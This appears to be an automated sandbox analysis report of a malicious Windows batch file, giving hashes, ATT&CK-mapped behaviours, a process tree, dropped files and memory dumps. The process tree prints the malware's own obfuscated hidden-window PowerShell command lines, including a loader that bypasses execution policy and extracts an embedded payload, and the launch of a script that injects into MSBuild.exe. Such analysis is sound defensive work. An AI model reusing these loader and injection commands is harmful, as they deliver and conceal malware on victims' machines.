ac8a126f786c3bc59b557a54bb71beb26e0f06433f61cdb694f8a916cbe18a85

Analysis

max time kernel
148s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 12:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
rp99.bat
Size 411KB
Sample261022-pn834aex5j
SHA256 ac8a126f786c3bc59b557a54bb71beb26e0f06433f61cdb694f8a916cbe18a85
MD5 dd4990dcab4021f4d74b844be2372d48
SHA1 8e8836291dd3d51ea82a5b97f7428b1cbb475e3c
SHA512 a630525d49a53a857e8cfaaf13bbdf477cda21ac3ada0df372b9e75b6a9ada90d254e0ac524558f2d8be85350c07e726e1a3b606b56f354a176d0339ff7e0a26
SSDEEP 6144:0P05iTX5PcoLJ8q+Im0+/N7COKryA/6yVhoRMILxX0+7IFCfSJpZ23hgW/CJbDFL:38TXlcodBt9speZWZYI6Axq4q
TLSH
T1BE947DB567086DB91BAF0717DA95DCD803B957E2D68AA88C7061BEC309E3227FD01F05
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4900	powershell.exe
1268	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1268 set thread context of 5432	1268	powershell.exe	109

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2584	sc.exe
4920	sc.exe
5060	sc.exe
3524	sc.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
716	cmd.exe
4792	cmd.exe
6016	cmd.exe
2600	cmd.exe
4556	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3456	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3456	PING.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3624	powershell.exe
3624	powershell.exe
2860	powershell.exe
2860	powershell.exe
4900	powershell.exe
4900	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 716 wrote to memory of 5952	716	cmd.exe	90
PID 716 wrote to memory of 5060	716	cmd.exe	91
PID 716 wrote to memory of 3524	716	cmd.exe	92
PID 716 wrote to memory of 4792	716	cmd.exe	93
PID 716 wrote to memory of 3624	716	cmd.exe	94
PID 3624 wrote to memory of 6016	3624	powershell.exe	95
PID 6016 wrote to memory of 2740	6016	cmd.exe	97
PID 6016 wrote to memory of 2584	6016	cmd.exe	98
PID 6016 wrote to memory of 4920	6016	cmd.exe	99
PID 6016 wrote to memory of 2600	6016	cmd.exe	100
PID 6016 wrote to memory of 2860	6016	cmd.exe	101
PID 2860 wrote to memory of 4556	2860	powershell.exe	102
PID 4556 wrote to memory of 4900	4556	cmd.exe	103
PID 4556 wrote to memory of 1268	4556	cmd.exe	104
PID 4556 wrote to memory of 3456	4556	cmd.exe	106
PID 1268 wrote to memory of 5432	1268	powershell.exe	109
PID 1268 wrote to memory of 5432	1268	powershell.exe	109
PID 1268 wrote to memory of 5432	1268	powershell.exe	109
PID 1268 wrote to memory of 5432	1268	powershell.exe	109
PID 1268 wrote to memory of 5432	1268	powershell.exe	109
PID 1268 wrote to memory of 5432	1268	powershell.exe	109
PID 1268 wrote to memory of 5432	1268	powershell.exe	109
PID 1268 wrote to memory of 5432	1268	powershell.exe	109
PID 1268 wrote to memory of 5432	1268	powershell.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rp99.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:716
- C:\Windows\system32\HOSTNAME.EXE
  hostname
  2⤵
  PID:5952
- C:\Windows\system32\sc.exe
  sc query type= driver
  2⤵
  - Launches sc.exe
  PID:5060
- C:\Windows\system32\sc.exe
  sc query type= driver
  2⤵
  - Launches sc.exe
  PID:3524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c date /t
  2⤵
  - Executes a command shell one-liner
  PID:4792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -w 1 -noni -c "& ([scriptblock]::Create($env:xC606B+$env:x2eCD3dB+$env:_B02304))"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\rp99.bat" 0ab0b52473
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6016
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:2740
  - - C:\Windows\system32\sc.exe
      sc query type= driver
      4⤵
      Launches sc.exe
      PID:2584
  - - C:\Windows\system32\sc.exe
      sc query type= driver
      4⤵
      Launches sc.exe
      PID:4920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c date /t
      4⤵
      Executes a command shell one-liner
      PID:2600
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -w 1 -noni -c "& ([scriptblock]::Create($env:xC606B+$env:x2eCD3dB+$env:_B02304))"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2860
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\w1cdzasp.0st\uzgulzn0kdl.bat" 71VEUnFlOua
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4556
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Set-ExecutionPolicy Bypass -Scope Process -Force;$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;if($f::Exists($e)){$s=$f::ReadAllText($e);$p='::C'+'odeNot'+'ion::';$m=$s.IndexOf($p);if($m -ge 0){$f::WriteAllText($env:_EphemeralScript,$s.Substring($m+(0x1C -shr 1)))}}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4900
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Set-ExecutionPolicy Bypass -Scope Process -Force; & 'C:\Users\Public\17553q26394.ps1'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1268
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
        7⤵
        
        PID:5432
      - C:\Windows\system32\PING.EXE
        
        ping -n 8 127.0.0.1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3456

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5648

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b6d573d189e6ae56334518c140358fa21bc3e928ccba223a96391262c775b46d
MD5 b9dbe81821cccf36bc0c4e13c1b05c96
SHA1 399fc4931df3504506f994e613d44f40ba1e22f0
SHA512 bc9d4aeaf2851b029e7d0f0debeb3be245961df514c4e3085be4513b68dca226582704c6db6259019c17e6b4c02f43a499219a7e0f5307f0bd6c3f8946132533
TLSH
T13A215937B3DC8614DC9A413A50CEAC1036B6C7DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5251d64af5402817c261a8ec24cc0aea8288b558a1a0d42486b44db9831f5fb6
MD5 68ff32149cc3cda2584aef8f7161887b
SHA1 cc8bb7361b758e1ea9a1b44426790e2798a51866
SHA512 4b4ccd1c7e14ad46d54ffd4c3af94c0d3fe54f7928620c4162e7e7b8412db4c55b2f99b4d6d392d0c2a85e5175def58b4971961e96bfa24416530dabdc5ab3e8
TLSH
T117215933B3DC8615DC9A413A10CEEC1136B6C7DB819EDEAB7B84D545B42F299CE606A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_nscx1ic3.ejb.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nscx1ic3.ejb.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

uzgulzn0kdl.bat

Path C:\Users\Admin\AppData\Local\Temp\w1cdzasp.0st\uzgulzn0kdl.bat
Size 236KB
SHA256 253d627e2ba4c60917533b6878dc6d41b23ff8c76768b4214660cea6393e96e1
MD5 367248e1593b12f46e8a8dcc8232804e
SHA1 2fd1357595e556af0a5e3f4c24e32e0a88fb55f7
SHA512 6b9ff5ddd8fe47bf2104966359740c83dcc569a165905d7bdae1c8023cf032f4f0e1920266869e33c6b03d1154c0e1d63470f6fa6d702cd447c1fccd6e3a6f2c
SSDEEP 6144:gEJb6Q+bpBCNfebxo3xxyl692q4n64NAP/IdsulQ:T6Xt0Nq+Py492Jn6pIdsue
TLSH
T1A03401057FE1864C15DFC85A2CA51A04FD289023699E2D9CFEADE1D89F8AF04C27DD1E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

17553q26394.ps1

Path C:\Users\Public\17553q26394.ps1
Size 234KB
SHA256 068d9132b2ec547e21ed0a2d847ae1308fe22367a5db52a2469623aa0a15591d
MD5 624f562dddca7d196e38ecbb1ef6027a
SHA1 0f2352796566d07b8d8701df65b736b0a1db5817
SHA512 f59022fb6e001142425b0b3962c813530270fa537206e7213e30b08322107b7e111b0e178c43d3a56ec9438dbe38e16c45a963e164979a0d13ec1144c94304a8
SSDEEP 6144:LEJb6Q+bpBCNfebxo3xxyl692q4n64NAP/IdsulQ:G6Xt0Nq+Py492Jn6pIdsue
TLSH
T1593402017FE1864815DFC85A2CA51A04FD344023699E2DACFDADE1D89F9AF14C27ED1E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1268-41-0x000001D2F6590000-0x000001D2F659A000-memory.dmp

Download

memory/1268-42-0x000001D2F6710000-0x000001D2F672C000-memory.dmp

Download

memory/1268-48-0x000001D2F64C0000-0x000001D2F64C8000-memory.dmp

Download

memory/1268-47-0x000001D2F66F0000-0x000001D2F670A000-memory.dmp

Download

memory/1268-45-0x000001D2F6B30000-0x000001D2F6B3A000-memory.dmp

Download

memory/1268-44-0x000001D2F6700000-0x000001D2F6706000-memory.dmp

Download

memory/1268-43-0x000001D2F66F0000-0x000001D2F66F8000-memory.dmp

Download

memory/3624-0-0x00007FFE69F8F000-0x00007FFE69F90000-memory.dmp

Download

memory/3624-11-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/3624-5-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/3624-9-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/3624-10-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/3624-6-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/3624-12-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/3624-4-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/3624-3-0x000001D37DA60000-0x000001D37DA82000-memory.dmp

Download

memory/3624-8-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/3624-7-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/3624-14-0x00007FFE69E00000-0x00007FFE6A7A4000-memory.dmp

Download

memory/4900-27-0x00000261CDA10000-0x00000261CDA2E000-memory.dmp

Download

memory/4900-26-0x00000261CD8A0000-0x00000261CD8AA000-memory.dmp

Download

memory/4900-25-0x00000261CDC70000-0x00000261CDD22000-memory.dmp

Download

memory/4900-24-0x00000261CD9D0000-0x00000261CD9EE000-memory.dmp

Download

memory/5432-49-0x0000000140000000-0x000000014001C000-memory.dmp

Download